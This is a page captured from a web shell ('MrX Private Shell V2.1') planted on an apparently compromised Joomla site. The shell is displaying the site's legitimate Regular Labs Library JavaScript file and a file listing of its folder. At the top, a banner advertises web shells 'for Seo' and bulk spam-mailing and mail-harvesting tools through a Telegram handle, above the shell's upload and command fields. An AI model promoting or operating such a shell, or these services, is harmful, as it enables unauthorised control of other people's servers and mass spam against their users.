__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @package         Regular Labs Library
 * @version         23.12.10783
 * 
 * @author          Peter van Westen <[email protected]>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

(function() {
    'use strict';

    window.RegularLabs = window.RegularLabs || {};

    window.RegularLabs.Scripts = window.RegularLabs.Scripts || {
        version: '23.12.10783',

        ajax_list        : [],
        started_ajax_list: false,
        ajax_list_timer  : null,

        loadAjax: function(url, success, fail, query, timeout, dataType, cache) {
            if (url.indexOf('index.php') !== 0 && url.indexOf('administrator/index.php') !== 0) {
                url = url.replace('http://', '');
                url = `index.php?rl_qp=1&url=${encodeURIComponent(url)}`;
                if (timeout) {
                    url += `&timeout=${timeout}`;
                }
                if (cache) {
                    url += `&cache=${cache}`;
                }
            }

            let base = window.location.pathname;

            base = base.substring(0, base.lastIndexOf('/'));

            if (
                typeof Joomla !== 'undefined'
                && typeof Joomla.getOptions !== 'undefined'
                && Joomla.getOptions('system.paths')
            ) {
                base = Joomla.getOptions('system.paths').base;
            }

            // console.log(url);
            // console.log(`${base}/${url}`);

            this.loadUrl(
                `${base}/${url}`,
                null,
                (function(data) {
                    if (success) {
                        success = `data = data ? data : ''; ${success};`.replace(/;\s*;/g, ';');
                        eval(success);
                    }
                }),
                (function(data) {
                    if (fail) {
                        fail = `data = data ? data : ''; ${fail};`.replace(/;\s*;/g, ';');
                        eval(fail);
                    }
                })
            );
        },

        /**
         * Loads a url with optional POST data and optionally calls a function on success or fail.
         *
         * @param url      String containing the url to load.
         * @param data     Optional string representing the POST data to send along.
         * @param success  Optional callback function to execute when the url loads successfully (status 200).
         * @param fail     Optional callback function to execute when the url fails to load.
         */
        loadUrl: function(url, data, success, fail) {
            return new Promise((resolve) => {
                const request = new XMLHttpRequest();

                request.open("POST", url, true);

                request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

                request.onreadystatechange = function() {
                    if (this.readyState !== 4) {
                        return;
                    }

                    if (this.status !== 200) {
                        fail && fail.call(null, this.responseText, this.status, this);
                        resolve(this);
                        return;
                    }

                    success && success.call(null, this.responseText, this.status, this);
                    resolve(this);
                };

                request.send(data);
            });
        },

        addToLoadAjaxList: function(url, success, error) {
            // wrap inside the loadajax function (and escape string values)
            url     = url.replace(/'/g, "\\'");
            success = success.replace(/'/g, "\\'");
            error   = error.replace(/'/g, "\\'");

            const action = `RegularLabs.Scripts.loadAjax(
                    '${url}',
                    '${success};RegularLabs.Scripts.ajaxRun();',
                    '${error};RegularLabs.Scripts.ajaxRun();'
                )`;

            this.addToAjaxList(action);
        },

        addToAjaxList: function(action) {
            this.ajax_list.push(action);

            if ( ! this.started_ajax_list) {
                this.ajaxRun();
            }
        },

        ajaxRun: function() {
            if ( ! this.ajax_list.length) {
                return;
            }

            clearTimeout(this.ajax_list_timer);

            this.started_ajax_list = true;

            const action = this.ajax_list.shift();

            eval(`${action};`);

            if ( ! this.ajax_list.length) {
                this.started_ajax_list = false;
                return;
            }

            // Re-trigger this ajaxRun function just in case it hangs somewhere
            this.ajax_list_timer = setTimeout(
                function() {
                    RegularLabs.Scripts.ajaxRun();
                },
                5000
            );
        },
    };
})();

Filemanager

Name Type Size Permission Actions
LICENCE File 1.09 KB 0664
README.md File 11.05 KB 0664
admin-form-descriptions.js File 4.42 KB 0664
admin-form-descriptions.min.js File 2.85 KB 0664
admin-form.js File 9.97 KB 0664
admin-form.min.js File 6.09 KB 0664
downloadkey.js File 12.21 KB 0664
downloadkey.min.js File 7.05 KB 0664
mini-colors.js File 16.69 KB 0664
mini-colors.min.js File 8.75 KB 0664
regular.js File 18.38 KB 0664
regular.min.js File 6.89 KB 0664
script.js File 4.91 KB 0664
script.min.js File 2.27 KB 0664
simplecategory.js File 1.97 KB 0664
simplecategory.min.js File 1019 B 0664
textarea.js File 1.57 KB 0664
textarea.min.js File 960 B 0664
treeselect.js File 8.79 KB 0664
treeselect.min.js File 5.27 KB 0664
Filemanager